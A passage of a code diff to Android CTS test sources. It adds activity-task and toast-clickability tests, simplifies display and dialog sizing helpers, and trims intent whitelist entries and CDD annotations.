import androidx.test.filters.FlakyTest;
@@ -30,6 +38,8 @@
import org.junit.Rule;
import org.junit.Test;
+import java.util.Arrays;
+
/**
* Build/Install/Run:
* atest CtsActivityManagerDeviceTestCases:StartActivityTests
@@ -103,6 +113,68 @@
TEST_ACTIVITY);
}
+ /**
+ * Assume there are 3 activities (A1, A2, A3) with different task affinities and the same uid.
+ * After A1 called {@link Activity#startActivities} to start A2 (with NEW_TASK) and A3, the
+ * result should be 2 tasks: [A1] and [A2, A3].
+ */
+ @Test
+ public void testStartActivitiesInNewAndSameTask() {
+ final int[] taskIds = startActivitiesAndGetTaskIds(new Intent[] {
+ new Intent().setComponent(NO_RELAUNCH_ACTIVITY)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+ new Intent().setComponent(LAUNCHING_ACTIVITY) });
+
+ assertNotEquals("The activity with different task affinity started by flag NEW_TASK"
+ + " should be in a different task", taskIds[0], taskIds[1]);
+ assertEquals("The activity started without flag NEW_TASK should be put in the same task",
+ taskIds[1], taskIds[2]);
+ }
+
+ /**
+ * Assume there are 3 activities (A1, A2, B1) with default launch mode. The uid of B1 is
+ * different from A1 and A2. After A1 called {@link Activity#startActivities} to start B1 and
+ * A2, the result should be 3 tasks.
+ */
+ @Test
+ public void testStartActivitiesWithDiffUidNotInSameTask() {
+ final int[] taskIds = startActivitiesAndGetTaskIds(new Intent[] {
+ new Intent().setComponent(SECOND_ACTIVITY)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+ new Intent().setComponent(LAUNCHING_ACTIVITY) });
+
+ assertNotEquals("The activity in a different application (uid) started by flag NEW_TASK"
+ + " should be in a different task", taskIds[0], taskIds[1]);
+ assertFalse("The last started activity should be in a different task because "
+ + SECOND_ACTIVITY + " has a different uid from the source caller",
+ Arrays.asList(taskIds[0], taskIds[1]).contains(taskIds[2]));
+ }
+
+ /**
+ * Invokes {@link android.app.Activity#startActivities} from {@link #TEST_ACTIVITY} and returns
+ * the task id of each started activity (the index 0 will be the caller {@link #TEST_ACTIVITY}).
+ */
+ private int[] startActivitiesAndGetTaskIds(Intent[] intents) {
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+ .setUseInstrumentation().execute();
+ // The {@link Activity#startActivities} cannot be called from the instrumentation
+ // package because the implementation (given by test runner) may be overridden.
+ final Intent intent = new Intent(TEST_ACTIVITY_ACTION_START_ACTIVITIES);
+ intent.putExtra(EXTRA_INTENTS, intents);
+ mContext.sendBroadcast(intent);
+
+ final int[] taskIds = new int[intents.length + 1];
+ // The {@code intents} are started, wait for the last (top) activity to be ready and then
+ // verify their task ids.
+ mAmWmState.computeState(intents[intents.length - 1].getComponent());
+ final ActivityManagerState amState = mAmWmState.getAmState();
+ taskIds[0] = amState.getTaskByActivity(TEST_ACTIVITY).mTaskId;
+ for (int i = 0; i < intents.length; i++) {
+ taskIds[i + 1] = amState.getTaskByActivity(intents[i].getComponent()).mTaskId;
+ }
+ return taskIds;
+ }
+
public static class TestActivity2 extends Activity {
}
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
index 5a5e650..9db5f8e 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
@@ -30,7 +30,6 @@
import android.hardware.display.VirtualDisplay;
import android.media.ImageReader;
import android.os.SystemClock;
-import android.view.Display;
import androidx.annotation.Nullable;
@@ -53,8 +52,6 @@
private static final Pattern DISPLAY_DEVICE_PATTERN = Pattern.compile(
".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
- private static final Pattern DEFAULT_DISPLAY_PATTERN = Pattern.compile(
- "(mDisplayId=" + Display.DEFAULT_DISPLAY + ")([\\s\\S]*?)(mPrimaryDisplayDevice=)(.*)");
private static final int DENSITY = 160;
private static final int HEIGHT = 480;
private static final int WIDTH = 800;
@@ -127,20 +124,9 @@
@Nullable
private static Boolean getDisplayState(boolean defaultDisplay) {
final String dump = executeShellCommand("dumpsys display");
- String defaultDisplayName = null;
- // Finds the corresponding physical display among current multiple default logical displays
- // and read the proper display state.
- if (defaultDisplay) {
- final Matcher matcher = DEFAULT_DISPLAY_PATTERN.matcher(dump);
- if (matcher.find()) {
- defaultDisplayName = matcher.group(4);
- }
- if (defaultDisplayName == null) {
- return null;
- }
- }
- final String displayName = defaultDisplay ? defaultDisplayName : VIRTUAL_DISPLAY_NAME;
- final Predicate<Matcher> displayNameMatcher = m -> m.group(1).equals(displayName);
+ final Predicate<Matcher> displayNameMatcher = defaultDisplay
+ ? m -> m.group(0).contains("FLAG_DEFAULT_DISPLAY")
+ : m -> m.group(1).equals(VIRTUAL_DISPLAY_NAME);
for (final String line : dump.split("\\n")) {
final Matcher matcher = DISPLAY_DEVICE_PATTERN.matcher(line);
if (matcher.matches() && displayNameMatcher.test(matcher)) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
index e961eca..0e92146 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -346,7 +346,6 @@
getLaunchActivityBuilder().execute();
waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
- waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
// Finish top activity and verify that activity below became focused.
getLifecycleLog().clear();
@@ -397,7 +396,7 @@
getLaunchActivityBuilder().execute();
waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
- waitAndAssertActivityStates(state(firstActivity, ON_STOP));
+
getLifecycleLog().clear();
// Finish top activity
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 9ea3825..bc9eec1 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -68,6 +68,7 @@
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.Display.INVALID_DISPLAY;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -244,11 +245,7 @@
pressWakeupButton();
pressUnlockButton();
- // Using launchHomeActivity to replace pressHomeButton here.
- // pressHomeButton will trigger AMS.stopAppSwitches, if we using instrumentation to launch
- // test activity, then the activity would be launched after 5 seconds, which may cause some
- // tests failed.
- launchHomeActivity();
+ pressHomeButton();
removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
}
@@ -261,7 +258,7 @@
executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
- launchHomeActivity();
+ pressHomeButton();
}
protected void removeStacksWithActivityTypes(int... activityTypes) {
@@ -533,6 +530,28 @@
return mContext.getResources().getConfiguration().smallestScreenWidthDp >= 600;
}
+ public void waitAndAssertTopResumedActivity(ComponentName activityName, int displayId,
+ String message) {
+ mAmWmState.waitForValidState(activityName);
+ mAmWmState.waitForActivityState(activityName, STATE_RESUMED);
+ final String activityClassName = getActivityName(activityName);
+ mAmWmState.waitForWithAmState(state ->
+ activityClassName.equals(state.getFocusedActivity()),
+ "Waiting for activity to be on top");
+
+ mAmWmState.assertSanity();
+ mAmWmState.assertFocusedActivity(message, activityName);
+ assertTrue("Activity must be resumed",
+ mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
+ ActivityManagerState.ActivityStack frontStackOnDisplay =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Resumed activity of front stack of the target display must match. " + message,
+ activityClassName, frontStackOnDisplay.mResumedActivity);
+ mAmWmState.assertFocusedStack("Top activity's stack must also be on top", frontStackId);
+ mAmWmState.assertVisibility(activityName, true /* visible */);
+ }
+
// TODO: Switch to using a feature flag, when available.
protected static boolean isUiModeLockedToVrHeadset() {
final String output = runCommandAndPrintOutput("dumpsys uimode");
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 337ada0..eca420e 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -24,6 +24,7 @@
<option name="test-file-name" value="CtsDragAndDropTargetApp.apk"/>
<option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk"/>
<option name="test-file-name" value="CtsAlertWindowService.apk"/>
+ <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
</target_preparer>
<!-- Some older apk cannot be installed as instant, so we force them full mode -->
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 429dca2..ca425d3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -36,13 +36,11 @@
import android.app.ActivityManager;
import android.content.Context;
import android.graphics.Point;
-import android.hardware.display.DisplayManager;
import android.os.RemoteException;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.util.Log;
-import android.view.Display;
import androidx.test.InstrumentationRegistry;
@@ -123,7 +121,6 @@
protected Context mContext;
protected ActivityManager mAm;
- protected DisplayManager mDm;
private Map<String, String> mSourceResults;
private Map<String, String> mTargetResults;
@@ -146,7 +143,6 @@
mContext = InstrumentationRegistry.getContext();
mAm = mContext.getSystemService(ActivityManager.class);
- mDm = mContext.getSystemService(DisplayManager.class);
mSourcePackageName = SOURCE_PACKAGE_NAME;
mTargetPackageName = TARGET_PACKAGE_NAME;
@@ -312,9 +308,9 @@
}
private Point getDisplaySize() throws Exception {
- final Point displaySize = new Point();
- mDm.getDisplay(Display.DEFAULT_DISPLAY).getRealSize(displaySize);
- return displaySize;
+ final String output = executeShellCommand("wm size");
+ final String[] sizes = output.split(" ")[2].split("x");
+ return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
}
private Point getWindowCenter(String name) throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
index b6ad466..1ade25a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
@@ -25,7 +25,6 @@
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Intent;
-import android.content.pm.PackageManager;
import android.view.Gravity;
import android.view.Window;
import android.view.WindowManager.LayoutParams;
@@ -57,7 +56,6 @@
static final String TEST_WITH_MARGINS = "WithMargins";
private AlertDialog mDialog;
- int mSize = 200;
@Override
protected void onStop() {
@@ -73,9 +71,6 @@
private void setupTest(Intent intent) {
final String testCase = intent.getStringExtra(EXTRA_TEST_CASE);
- if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
- mSize = getSize();
- }
switch (testCase) {
case TEST_MATCH_PARENT:
testMatchParent();
@@ -148,23 +143,23 @@
private void testExplicitSize() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
});
}
private void testExplicitSizeTopLeftGravity() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.gravity = Gravity.TOP | Gravity.LEFT;
});
}
private void testExplicitSizeBottomRightGravity() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.gravity = Gravity.BOTTOM | Gravity.RIGHT;
});
}
@@ -214,15 +209,10 @@
params.gravity = Gravity.LEFT | Gravity.TOP;
params.horizontalMargin = .10f;
params.verticalMargin = .15f;
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.x = 0;
params.y = 0;
});
}
-
- private int getSize() {
- float density = getResources().getDisplayMetrics().density;
- return (int)(146 * density);
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 26beb96..79e64ea 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -35,7 +35,6 @@
import static org.junit.Assert.assertEquals;
import android.content.ComponentName;
-import android.content.pm.PackageManager;
import android.graphics.Rect;
import android.platform.test.annotations.AppModeFull;
import android.server.am.WaitForValidActivityState;
@@ -48,7 +47,6 @@
import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
-import org.junit.Before;
import java.util.List;
@@ -69,18 +67,6 @@
new ActivityTestRule<>(DialogFrameTestActivity.class, false /* initialTOuchMode */,
false /* launchActivity */);
- @Before
- public void setUp() {
- try {
- super.setUp();
- } catch (Exception ex) {
- }
- PackageManager packageManager = InstrumentationRegistry.getContext().getPackageManager();
- if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
- mSize = getSize();
- }
- }
-
@Override
ComponentName activityName() {
return DIALOG_FRAME_TEST_ACTIVITY;
@@ -131,7 +117,6 @@
}
private static final int explicitDimension = 200;
- private int mSize = explicitDimension;
// The default gravity for dialogs should center them.
@Test
@@ -139,10 +124,10 @@
doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
Rect contentFrame = parent.getContentFrame();
Rect expectedFrame = new Rect(
- contentFrame.left + (contentFrame.width() - mSize) / 2,
- contentFrame.top + (contentFrame.height() - mSize) / 2,
- contentFrame.left + (contentFrame.width() + mSize) / 2,
- contentFrame.top + (contentFrame.height() + mSize) / 2);
+ contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+ contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -154,8 +139,8 @@
Rect expectedFrame = new Rect(
contentFrame.left,
contentFrame.top,
- contentFrame.left + mSize,
- contentFrame.top + mSize);
+ contentFrame.left + explicitDimension,
+ contentFrame.top + explicitDimension);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -165,8 +150,8 @@
doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
Rect contentFrame = parent.getContentFrame();
Rect expectedFrame = new Rect(
- contentFrame.left + contentFrame.width() - mSize,
- contentFrame.top + contentFrame.height() - mSize,
+ contentFrame.left + contentFrame.width() - explicitDimension,
+ contentFrame.top + contentFrame.height() - explicitDimension,
contentFrame.left + contentFrame.width(),
contentFrame.top + contentFrame.height());
assertEquals(expectedFrame, dialog.getFrame());
@@ -251,8 +236,8 @@
Rect expectedFrame = new Rect(
(int) (horizontalMargin * frame.width() + frame.left),
(int) (verticalMargin * frame.height() + frame.top),
- (int) (horizontalMargin * frame.width() + frame.left) + mSize,
- (int) (verticalMargin * frame.height() + frame.top) + mSize);
+ (int) (horizontalMargin * frame.width() + frame.left) + explicitDimension,
+ (int) (verticalMargin * frame.height() + frame.top) + explicitDimension);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -266,10 +251,4 @@
assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
);
}
-
- private int getSize() {
- float density =
- InstrumentationRegistry.getContext().getResources().getDisplayMetrics().density;
- return (int)(146 * density);
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
new file mode 100644
index 0000000..cd3df94
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import android.content.ComponentName;
+import android.os.SystemClock;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
+import android.server.am.WindowManagerState.WindowState;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.WindowManager.LayoutParams;
+import com.android.compatibility.common.util.CtsTouchUtils;
+import android.graphics.Rect;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+import javax.annotation.Nullable;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+@Presubmit
+public class ToastTest extends ActivityManagerTestBase {
+ private static final String SETTING_HIDDEN_API_POLICY = "hidden_api_policy";
+ private static final long TOAST_DISPLAY_TIMEOUT_MS = 8000;
+ private static final long TOAST_TAP_TIMEOUT_MS = 3500;
+
+ protected static final int[] ALL_ACTIVITY_TYPE_BUT_HOME = {
+ ACTIVITY_TYPE_STANDARD, ACTIVITY_TYPE_ASSISTANT, ACTIVITY_TYPE_RECENTS,
+ ACTIVITY_TYPE_UNDEFINED
+ };
+
+ private static final String ACTION_TOAST_DISPLAYED = "toast_displayed";
+ private static final String ACTION_TOAST_TAP_DETECTED = "toast_tap_detected";
+ private static final String APP_PACKAGE = "android.server.am";
+ private static final ComponentName TOAST_RECEIVER =
+ ComponentName.createRelative(APP_PACKAGE, ".ToastReceiver");
+
+ private Context mContext;
+ private ActivityManager mAm;
+
+ /**
+ * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
+ * is long and it takes some time to process the broadcast we just sent.
+ */
+ private static final long BROADCAST_DELIVERY_TIMEOUT_MS = 60000;
+
+ @Nullable
+ private String mPreviousHiddenApiPolicy;
+ private Map<String, ConditionVariable> mBroadcastsReceived;
+
+ private BroadcastReceiver mAppCommunicator = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ getBroadcastReceivedVariable(intent.getAction()).open();
+ }
+ };
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = getInstrumentation().getContext();
+ mAm = mContext.getSystemService(ActivityManager.class);
+
+ mPreviousHiddenApiPolicy = executeShellCommand(
+ "settings get global hidden_api_policy_p_apps");
+ executeShellCommand("settings put global hidden_api_policy_p_apps 0");
+ // Stopping just in case, to make sure reflection is allowed
+ stopTestPackage(TOAST_RECEIVER);
+
+ // These are parallel broadcasts, not affected by a busy queue
+ mBroadcastsReceived = Collections.synchronizedMap(new HashMap<>());
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(ACTION_TOAST_DISPLAYED);
+ filter.addAction(ACTION_TOAST_TAP_DETECTED);
+ mContext.registerReceiver(mAppCommunicator, filter);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mContext.unregisterReceiver(mAppCommunicator);
+ executeShellCommand("settings put global hidden_api_policy_p_apps " + mPreviousHiddenApiPolicy);
+ }
+
+ @Test
+ public void testToastIsNotClickable() {
+ Intent intent = new Intent();
+ intent.setComponent(TOAST_RECEIVER);
+ sendAndWaitForBroadcast(intent);
+ boolean toastDisplayed = getBroadcastReceivedVariable(ACTION_TOAST_DISPLAYED).block(
+ TOAST_DISPLAY_TIMEOUT_MS);
+ assertTrue("Toast not displayed on time", toastDisplayed);
+ WindowManagerState wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ WindowState toastWindow = wmState.findFirstWindowWithType(LayoutParams.TYPE_TOAST);
+ assertNotNull("Couldn't retrieve toast window", toastWindow);
+
+ tapOnCenter(toastWindow.getContainingFrame(), toastWindow.getDisplayId());
+
+ boolean toastClicked = getBroadcastReceivedVariable(ACTION_TOAST_TAP_DETECTED).block(
+ TOAST_TAP_TIMEOUT_MS);
+ assertFalse("Toast tap detected", toastClicked);
+ }
+
+ private void tapOnCenter(Rect bounds, int displayId) {
+ final int x = bounds.left + bounds.width() / 2;
+ final int y = bounds.top + bounds.height() / 2;
+ long downTime = SystemClock.uptimeMillis();
+ injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y);
+ long upTime = SystemClock.uptimeMillis();
+ injectMotion(downTime, upTime, MotionEvent.ACTION_DOWN, x, y);
+ }
+
+ private static void injectMotion(long downTime, long eventTime, int action, int x, int y) {
+ final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0);
+ event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().injectInputEvent(event, true);
+ }
+
+ private void sendAndWaitForBroadcast(Intent intent) {
+ assertNotEquals("Can't wait on main thread", Thread.currentThread(),
+ Looper.getMainLooper().getThread());
+
+ ConditionVariable broadcastDelivered = new ConditionVariable(false);
+ mContext.sendOrderedBroadcast(
+ intent,
+ null,
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ broadcastDelivered.open();
+ }
+ },
+ new Handler(Looper.getMainLooper()),
+ Activity.RESULT_OK,
+ null,
+ null);
+ broadcastDelivered.block(BROADCAST_DELIVERY_TIMEOUT_MS);
+ }
+
+ private ConditionVariable getBroadcastReceivedVariable(String action) {
+ return mBroadcastsReceived.computeIfAbsent(action, key -> new ConditionVariable());
+ }
+}
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
old mode 100755
new mode 100644
index 63cda8b..35d48df
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -25,7 +25,6 @@
import android.os.Build;
import com.android.compatibility.common.util.PropertyUtil;
-import com.android.compatibility.common.util.CddTest;
/**
* Checks if Hifi sensors or VR High performance mode sensors
@@ -60,34 +59,29 @@
}
}
- @CddTest(requirement="7.9.2/C-1-19,C-1-20")
public void testSupportsAccelerometer() {
checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
}
- @CddTest(requirement="7.9.2/C-1-19,C-1-20")
- public void testSupportsAccelerometerUncalibrated() {
+ public void testSupportsAccelerometerUncalibrated() {
+ // Uncalibrated accelerometer was not required before Android O
if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) {
checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
}
}
- @CddTest(requirement="7.9.2/C-1-19,C-1-20")
public void testSupportsGyroscope() {
checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
}
- @CddTest(requirement="7.9.2/C-1-19,C-1-20")
public void testSupportsGyroscopeUncalibrated() {
checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
}
- @CddTest(requirement="7.9.2/C-1-19,C-1-20")
public void testSupportsGeoMagneticField() {
checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
}
- @CddTest(requirement="7.9.2/C-1-19,C-1-20")
public void testSupportsMagneticFieldUncalibrated() {
checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
}
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index c9c2a60..7d90a6e 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -24,7 +24,7 @@
LOCAL_MODULE_STEM := $(1)
LOCAL_MODULE_CLASS := ETC
LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests sts
include $(BUILD_SYSTEM)/base_rules.mk
$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
@echo "Convert API file $$< -> $$@"
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index f2dcda8..6c7aace 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -23,21 +23,6 @@
Bug: 78574873 android.intent.action.INSTALL_EPHEMERAL_PACKAGE
Bug: 78574873 android.intent.action.RESOLVE_EPHEMERAL_PACKAGE
Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
- Bug: 115799975 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
- Will be removed after v17 of CS.apk is released.
- Bug: 117590943 android.intent.action.View
- Fixed in GMSCore v14.7.68.
- Bug: 67109014 android.intent.action.BADGE_COUNT_UPDATE // Samsung is sending
- //new corrected intent and the old intent in P.
- //Target date for fix is under disucssion for BADGE_COUNT_UPDATE
- Bug: 128424060 android.intent.action.TIMELINE_POST_VISIT_BADGE //
- //Maps(version: 10.11.1~10.13) was sending this intent and
- //from version 10.14 newer intent 'com.google.android.apps.gmm.TIMELINE_POST_VISIT_BADGE'
- //is being sent.
- Bug: 129348724 android.intent.action.DEFINE (public in API 29)
- Bug: 129348724 android.intent.action.TRANSLATE (public in API 29)
- Bug: 150153196 android.intent.action.LOAD_DATA (system in API 30)
- Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
-->
<dynamicConfig>
<entry key ="intent_whitelist">
@@ -49,13 +34,5 @@
<value>android.intent.action.INSTALL_EPHEMERAL_PACKAGE</value>
<value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
<value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
- <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
- <value>android.intent.action.View</value>
- <value>android.intent.action.BADGE_COUNT_UPDATE</value>
- <value>android.intent.action.TIMELINE_POST_VISIT_BADGE</value>
- <value>android.intent.action.DEFINE</value>
- <value>android.intent.action.TRANSLATE</value>
- <value>android.intent.action.LOAD_DATA</value>
- <value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
</entry>
</dynamicConfig>
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
index b94f9db..69f19b9 100644
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
@@ -79,9 +79,8 @@
private boolean isIntentSupported(TestcaseType testCaseType) {
final PackageManager manager = mContext.getPackageManager();
assertNotNull(manager);
- // If TV or Automotive, then not supported.
- if (manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY) ||
- manager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ // If TV then not supported.
+ if (manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
return false;
}
Intent intent;
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 3fa0948..2bb7dee 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -90,10 +90,10 @@
}
private static final String GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND =
- "appwidget grantbind --package android.appwidget.cts --user %d";
+ "appwidget grantbind --package android.appwidget.cts --user 0";
private static final String REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND =
- "appwidget revokebind --package android.appwidget.cts --user %d";
+ "appwidget revokebind --package android.appwidget.cts --user 0";
@AppModeInstant(reason = "Instant apps cannot provide or host app widgets")
@Test
@@ -1344,13 +1344,11 @@
}
private void grantBindAppWidgetPermission() throws Exception {
- runShellCommand(String.format(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND,
- Process.myUserHandle().getIdentifier()));
+ runShellCommand(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND);
}
private void revokeBindAppWidgetPermission() throws Exception {
- runShellCommand(String.format(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND,
- Process.myUserHandle().getIdentifier()));
